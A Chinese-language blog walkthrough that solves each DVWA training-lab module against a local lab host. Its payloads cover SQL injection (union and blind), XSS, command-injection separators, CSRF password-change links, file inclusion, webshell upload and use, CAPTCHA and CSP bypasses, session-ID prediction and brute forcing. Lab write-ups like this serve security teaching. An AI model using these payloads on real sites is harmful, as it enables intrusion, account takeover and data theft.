dvwa靶场通关教程(保姆及教学,一看就会)

目录

1.暴力破解 brute force

low

Medium

High

impossible

2.command injection命令注入

low

medium

high

impossible

3.CSRF跨站请求伪造

low

medium

high

impossible

4.File inclusion 文件包含

low

medium

high

impossible

5.File upload文件上传

low

Medium

High

impossible

6.Insecure CAPTCHA不安全的验证

low

medium

high

impossible

7.SQL Injection sql注入

low

Medium

high

impossible

8.SQL Injection (Blind)盲注

low

Medium

high

impossible

9.Weak Session IDs会话劫持

low

medium

high

impossible

10.XSS (DOM)

low

medium

high

impossible

11.XSS (Reflected)反射

low

medium

high

impossible

12.XSS (Stored)

low

medium

high

impossible

13.CSP Bypass

low

medium

high

impossible

14.JavaScript js攻击

low

medium

high

impossible


1.暴力破解 brute force

low

  1. 使用bp抓包,分别在username和password处添加变量,使用集束炸弹(cluster bomb)模式,添加字典进行爆破

可以手工SQL注入(万能密码),在用户名框中输入admin' or '1'='1,任意输入密码即可登陆(同时在弱口令字典里也有该语句)

Medium

和low相比,过滤了一些转义字符,但依旧可以使用bp爆破方法同low

High

随意输入用户名密码,抓个包可以看到,携带了token

所以可以使用草叉模式带着这个token去爆破

首先抓一个登陆的包,然后发送到intruder模块,选择草叉模式,为password和token添加变量

然后在第一个payload导入本地字典

然后设置token

回到payload,选择第二个爆破点,选择递归模式,recursive grep,设置初始值

然后开始爆破,看到密码为password。

impossible

登陆三次失败,锁定15min,没辙.

2.command injection命令注入

low

  1. 输入以下命令都可以执行

;被过滤,以下分隔符都可以

medium

  1. 可以看到过滤了&&和; 所以依旧可以使用 127.0.0. || ipconfig执行命令

high

过滤了全部管道符,可以使用 127.0.0 || ipconfig ,前面命令执行失败执行后面的

方法还有很多

impossible

设置了token,检查输入是否为数字,无漏洞

3.CSRF跨站请求伪造

low

  1. 先输入一个不一致的密码,观察页面变化

  1. 可以看到url为:http://192.168.10.5/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=234&Change=Change#

此时我们可以构造一个:http://192.168.10.5/DVWA/vulnerabilities/csrf/?password_new=666666&password_conf=666666&Change=Change#

  1. 用新页面打开url,发现密码一键被修改

medium

  1. 按照刚才的方式修改,发现执行不了,检查了请求头

  1. 首先抓一个包,可以看到这里有referer

  1. 复制刚才构造好的url,在新页面打开:http://192.168.10.5/DVWA/vulnerabilities/csrf/?password_new=666666&password_conf=666666&Change=Change#

抓包,发现没有referer

我们自己在这里加一个referer,随意添加,包含本机就可以例如:127.0.0.1

放包,发现已经成功修改

high

可以看到,设置了token

这里我们采用抓包,把包发到重放模块,在row中可以看到新的token

接下来使用获取到的新token构造链接

http://192.168.10.5/DVWA/vulnerabilities/csrf/?password_new=666666&password_conf=666666&Change=Change&user_token=9c36edfc71b135e726adce6603be8651#

修改成功

impossible

要求输入原始密码,攻击者在不知道原始密码的情况下,无论如何都不能执行

4.File inclusion 文件包含

low

每次点击都会跳转,所以可以在page=后面添加本地文件路径

medium

可以通过ip+路径包含文件

high

源码限制了page之后的参数是以file开头,所以可以用file函数去构建

http://192.168.10.5/DVWA/vulnerabilities/fi/?page=file://E:\phpStudy\WWW\DVWA\file555.txt

impossible

设置了白名单,没办法了

5.File upload文件上传

low

可以看到,没有任何限制,所以直接上传一个php后门文件即可

后门文件如下:

随后使用webshell,蚁剑哥斯拉都可以,冰蝎不可以,因为冰蝎是自己的一套加密算法,这里以蚁剑为例示范一下:

1.点开蚁剑后,首先单击空白处,然后点击添加数据

url输入后门的路径,默认使这个:http://192.168.10.5/DVWA/hackable/uploads/888.php

密码就是刚才后门的密码:post,然后点击保存

然后右击添加上的数据

例如打开虚拟终端,可以执行执行命令,实现远控

Medium

可以看到,靶场对文件类型做了限制,只允许上传png、jpeg,并且检查

此时我们可以把一句话木马改为png后缀

然后使用bp抓包,将文件后缀改成php

然后放包 ,可以看到,后门文件已经成功上传上去

使用webshell连接同上

High

看源代码可以发现,不仅限制了文件类型,而且限制了大小,不能少于100kb

可以上传一个图片马,打开cmd,输入以下命令:copy post2.php/a + 111.png/b 66.png

此时已经上传成功,但不能利用

在命令注入中输入127.0.0.1|| ren C:\phpstudy_pro\WWW\DVWA-master\hackable\uploads\888.png 888.php

此时发现,888.png已经被改名为888.php

impossible

可以看到,Impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

6.insecure captcha不安全的验证

low

本关是在第二步做验证,所以把step改为2就可以绕过验证

medium

依旧抓包改包

high

让通过验证的情况增加了一种。原先是只有验证码为真才能通过验证,现在新增“或者g-recaptcha-response且HTTP_USER_AGENT为特定内容”通过验证。

那直接用Burpsuite修改数据包

impossible

可以看到需要输入原始密码,攻击者在不知道原始密码的情况下,永远不可能攻击成功

7.SQL injection sql注入

low

  1. 输入1+2,可以看到,并未输出3,所以可以判定是字符型注入

  1. 输入如下payload:'1 or 1=1' ,可以看到有报错,所以一定存在sql注入

  1. 使用order by判断字段数 1' order by 2 #

1' order by 3 #

由此判断,他只有两个字段

  1. 然后使用联合查询 1' union select 1,2 # 获取回显位置

  1. 在对应位置获取数据库名 1' union select database(),2 #

  1. 获取数据库所有表名 1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() #

  1. 获取users字段名

1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema=database() #

  1. 获取字段值

1' union select password,user from users #

  1. 现在已经拿到了用户和密码,但密码是加密的,可使用md5自行解密 md5在线解密破解,md5解密加密

Medium

  1. 先选中1,抓一个包,然后发到重放模块,用于测试,可以修改参数,数字型注入

id修改为1+1,出现报错

  1. 使用order by判断字段数

  1. 输入联合查询语句

剩余步骤同上

high

1.输入1',发现报错

2.输入联合查询语句

3.按上述步骤进行查询

impossible

限制只能为数字   不存在注入

8.SQL injection(blind)盲注

low

  1. 输入 1' and 1=1 # 可以看到 正常执行

  1. 猜解开数据库长度1' and length(database())=x #

5

  1. 用aascii猜解数据库名 1' and ascii(substr(database(),1,1))=100 # 由此确定,第一位ascii是100,对比ascii表(ASCII码对照表-完整ASCII码表-我就查查询)可得 为d

后面的同理

  1. 获取表名,先判断有多少个表 1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #

  1. 和普通sql注入相同,依次查询库名表名字段名

Medium

  1. 随意选择一个数,然后抓包

  1. 修改参数 1 and length(database())=4 #,根据布尔 盲注判断,,数据库名为4

  1. 下面依旧使用sql语句进行查询,步骤同上

high

  1. 1' and 1=1 # 测试,发现成功执行

  1. 盲注,测试数据库名长度 1' and length(database())=4 #

  1. 接下来的步骤同上

impossible

只能使用数字,且设置了token,无漏洞

9.Weak Session IDS会话劫持

low

使用这个session,到别的浏览器,直接修改session即可实现无密码登陆

medium

使用了时间戳

时间戳在线转换工具(Unix timestamp) - 记灵工具

同样构造id,实现登录

high

使用了md5加密

md5在线解密破解,md5解密加密

同样构造id,实现登录

impossible

<?php
 
$html = "";
 
if ($_SERVER['REQUEST_METHOD'] == "POST") {
//随机数+时间戳+固定字符串"Impossible",再进行sha1运算
    $cookie_value = sha1(mt_rand() . time() . "Impossible");
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

使用随机session id作为起始值

10.XSS(DOM)

low

随便选择一个,url会有回显,在此处修改

medium

f12可以看到,输入的值在这里

所以需要闭合标签,</select><img src=1 οnerrοr=alert(1)>

high

French#<script>alert(1)</script>

使用锚部分弹窗

impossible

这还说啥

11.XSS(reflected)反射

low

直接插框进行测试 <script>alert(1)</script>

medium

过滤了<script>,可以使用大小写绕过

high

使用<img src=1 οnerrοr=alert(1);>测试

impossible

预定义的字符&、”、 ’、<、>转换为HTML实体

12.XSS(stored)存储型

low

在留言框输入<script>alert(1)</script>

medium

在name处使用大小写绕过<scripT>alert(1)</sCript>

在此之前,需要先修改前端啊代码,将限制改为100

high

使用<img src=1 οnerrοr=alert(1)>

impossible

设置了token,并且对所有参数都做了严格过滤

13.CSP bypass

low

  1. 查看网络,可以看到有一个信任网站

  1. 可以看出页面里包含<script>标签,也就有机会执行alert()等动作。但是页面include内容的来源有白名单限制,只允许来自$headerCSP中的URL。
  2. 此时可以上pastebin网站上自己写一个javascript代码alert(“hahaha”),记住链接。

https://pastebin.com/raw/zSLDySJn

在平台上输入这个URL,点击Include,结果如下:

medium

可以发现这里有一个写script的凭证,只要有这个东西就可以执行

构造payload

<script nonce='TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='>alert(11)</script>

high

构造payload

Include=<script src=”/source/jsonp.php?callback=alert(‘hello 111’);”></scirpt>

impossible

14.Javascript js攻击

low

success加密后的值

抓一个包,修改token,即可成功

medium

使用Bp抓一下Submit之后的数据包,结果如下:

可以看到,当Phrase为ChangeMe,token为XXeMegnahC。

所以只要向后台发送的内容与success有关,就能获得想要的结果。

修改数据包如下:

点击放包,返回结果如下:

high

这里将js代码编辑后在线执行一下,得出token值:

ec7ef8687050b6fe803867ea696734c67b541dfafb286a0b1239f42ac5b0aa84

用Bp抓包,把token的修改为:

ec7ef8687050b6fe803867ea696734c67b541dfafb286a0b1239f42ac5b0aa84

impossible

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

nuc_ddddsj

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值